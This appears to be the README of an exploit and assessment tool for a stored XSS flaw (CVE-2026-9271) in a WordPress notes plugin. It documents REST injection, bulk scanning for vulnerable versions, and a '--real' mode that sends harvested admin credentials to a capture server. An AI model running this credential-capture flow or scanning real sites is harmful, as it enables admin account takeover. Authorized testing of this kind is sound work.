## Overview

**CVE-2026-9271** is a **stored cross-site scripting (XSS)** issue in the WordPress **KeepInMind** (Dashboard Notes) plugin. Insufficient sanitization of note content allows a low-privileged authenticated user (Contributor+) to store HTML/JS that executes in an administrator’s browser, which can lead to **admin session compromise / account takeover**.

**KIM-Guardian Pro** (`CVE-2026-9271.py`) is a Python assessment tool for authorized testers to:

- Detect KeepInMind installs and version ranges
- Run a **safe test-mode** assessment (overlay marker, no credential capture)
- Bulk-scan URL lists for plugin presence and vulnerable versions
- Persist results in SQLite and text reports under `reports/`
- Optionally run a local capture / web UI for controlled lab simulations

## Vulnerability Details

| Attribute | Value |
|---|---|
| **CVE ID** | CVE-2026-9271 |
| **Attack Vector** | Authenticated (Contributor+) → Stored XSS → Admin impact |
| **Impact** | Admin browser XSS; potential account takeover in vulnerable installs |
| **Affected Product** | WordPress KeepInMind / KeepInMind Dashboard Notes |
| **Affected Versions** | ≤ **0.8.4.2** (patched in **0.8.4.3+**) |
| **Vulnerability Type** | Stored Cross-Site Scripting (XSS) |
| **CWE** | CWE-79 (Improper Neutralization of Input During Web Page Generation) |

### Relevant Surfaces

| Surface | Role |
|---|---|
| `/wp-json/keepinmind/v1/notes` | REST API used to create/read notes |
| `/wp-admin/` | Admin dashboard where stored notes may render |
| Plugin path | `/wp-content/plugins/keepinmind-dashboard-notes/` |

### Assessment Flow (high level)

1. Authenticate as a Contributor+ user (when credentials are provided)  
2. Confirm KeepInMind is installed and record WordPress / plugin versions  
3. Inject a **test** payload via the notes REST API (default)  
4. Verify the marker appears where notes render  
5. Clean up injected notes (unless `--no-cleanup`)  
6. Save assessment metadata to SQLite and a text report

| Payload cleanup | Removes injected notes after assessment |
| Bulk scanning | Multi-threaded URL list scan for plugin + vulnerable version |
| SQLite history | Stores assessments in `kim_guardian.db` |
| Text reports | Writes timestamped reports under `reports/` |
| Capture server | Optional local HTTP listener for lab credential-capture drills |
| Web UI | Optional Flask dashboard (`web` mode) |

### Operational Controls

| Capability | Description |
|---|---|

---

## Installation

### Prerequisites

- Python **3.8+**
- `pip`
- Network reachability to **authorized** target(s)

### Setup

```bash
cd /path/to/exploit

python3 -m venv venv
source venv/bin/activate          # Windows: venv\Scripts\activate

pip install -r requirements.txt
# Recommended extras used by this script:
pip install colorama beautifulsoup4 requests flask

python3 CVE-2026-9271.py --help
```

### Core Dependencies

```text
requests>=2.31.0
beautifulsoup4>=4.12.0
colorama>=0.4.6
flask>=3.0.0          # optional — web mode only
```

---

## Quick Start

> Replace `https://lab.example` with a **lab or authorized** target only.

```bash
# Help / modes
python3 CVE-2026-9271.py --help

# Safe single-target assessment (default: test payload)
python3 CVE-2026-9271.py assess https://lab.example \
  -u contributor -p 'password' -v

# Bulk version / plugin scan
python3 CVE-2026-9271.py bulk -f targets.txt -w 8 -o bulk_results.txt

# List recent assessments from SQLite
python3 CVE-2026-9271.py db --list --limit 20

# Local capture server (lab only)
python3 CVE-2026-9271.py capture --port 5000

# Optional web UI
python3 CVE-2026-9271.py web --host 127.0.0.1 --port 8080
```

---

## Usage Guide

### 1. Show help

```bash
python3 CVE-2026-9271.py --help
python3 CVE-2026-9271.py assess --help
```

### 2. Safe assessment (recommended)

Default mode uses a **non-capturing test overlay**. Provide Contributor+ credentials for injection via the REST API.

```bash
python3 CVE-2026-9271.py assess https://lab.example \
  -u contributor \
  -p 'password' \
  -v
```

Workflow:

1. Print banner and create a unique payload ID  
2. Authenticate (if `-u` / `-p` given)  
3. Detect KeepInMind + WordPress versions  
4. Inject and verify the safe test marker  
5. Clean up notes (unless `--no-cleanup`)  
6. Persist result to DB + `reports/kim_assessment_*.txt`  

### 3. Skip cleanup

```bash
python3 CVE-2026-9271.py assess https://lab.example \
  -u contributor -p 'password' --no-cleanup
```

### 4. Proxy + timeout

```bash
python3 CVE-2026-9271.py assess https://lab.example \
  -u contributor -p 'password' \
  --proxy http://127.0.0.1:8080 \
  --timeout 45 \
  -v
```

### 5. Lab attack simulation (authorized environments only)

Requires an attacker/capture base URL and `--real`. Prefer keeping capture on localhost for labs.

```bash
# Terminal 1 — capture listener
python3 CVE-2026-9271.py capture --port 5000

# Terminal 2 — assessment with capture endpoint
python3 CVE-2026-9271.py assess https://lab.example \
  -u contributor -p 'password' \
  -a http://127.0.0.1:5000 \
  --real \
  -v
```

Capture UI (when server is running):

| Path | Purpose |
|---|---|
| `/` | Capture server status page |
| `/capture` | POST endpoint for form submissions |
| `/captured` | Recent captured entries (lab review) |

### 6. Bulk scan

```bash
# targets.txt — one URL per line
python3 CVE-2026-9271.py bulk -f targets.txt -w 5 -o bulk_scan_results.txt

# Or comma-separated URLs
python3 CVE-2026-9271.py bulk -u "https://a.example,https://b.example" -w 3
```

Bulk checks typically include WordPress hints, KeepInMind version, REST reachability, and `wp-login.php` presence.

### 7. Database history

```bash
python3 CVE-2026-9271.py db --list
python3 CVE-2026-9271.py db --list --limit 50
```

### 8. Web interface

```bash
python3 CVE-2026-9271.py web --host 127.0.0.1 --port 8080
```

Bind to localhost by default for safety.
